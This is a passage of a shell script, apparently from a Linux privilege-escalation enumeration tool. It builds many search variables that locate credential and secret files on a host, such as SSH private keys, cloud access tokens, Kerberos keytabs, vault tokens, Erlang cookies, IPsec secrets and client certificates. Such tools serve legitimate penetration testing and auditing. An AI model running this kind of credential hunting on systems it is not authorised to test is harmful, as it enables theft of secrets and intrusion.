"$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70) - PSTORAGE_CESI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "cesi\.conf$" | sort | uniq | head -n 70) - PSTORAGE_RSYNC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70) - PSTORAGE_HOSTAPD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/etc" | grep -E "system-connections$" | sort | uniq | head -n 70) - PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/etc" | grep -E "pam\.d$" | sort | uniq | head -n 70) - PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/etc" | grep -E "exports$" | sort | uniq | head -n 70) - PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70) - PSTORAGE_RACOON=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70) - PSTORAGE_KUBELET=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/var" | grep -E "kubelet$|kube-proxy$" | sort | uniq | head -n 70) - PSTORAGE_VNC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70) - PSTORAGE_LDAP=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "ldap$" | sort | uniq | head -n 70) - PSTORAGE_LOG4SHELL=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/snap|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/applications|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70) - PSTORAGE_OPENVPN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70) - PSTORAGE_SSH=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70) - PSTORAGE_CERTSB4=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70) - PSTORAGE_CERTSBIN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70) - PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70) - PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private" | grep -E "agent.*$" | sort | uniq | head -n 70) - PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^$GREPHOMESEARCH|^/usr" | grep -E "ssh.*config$" | sort | uniq | head -n 70) - PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70) - PSTORAGE_KERBEROS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "krb5\.conf$|krb5\.keytab$|\.k5login$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_KIBANA=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70) - PSTORAGE_KNOCKD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70) - PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "logstash$" | sort | uniq | head -n 70) - PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70) - PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70) - PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.vault-token$" | sort | uniq | head -n 70) - PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "couchdb$" | sort | uniq | head -n 70) - PSTORAGE_REDIS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "redis\.conf$" | sort | uniq | head -n 70) - PSTORAGE_MOSQUITTO=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70) - PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "neo4j$" | sort | uniq | head -n 70) - PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70) - PSTORAGE_ERLANG=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70) - PSTORAGE_GMV_AUTH=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70) - PSTORAGE_IPSEC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "ipsec\.secrets$|ipsec\.conf$" | sort | uniq | head -n 70) - PSTORAGE_IRSSI=$(echo -e 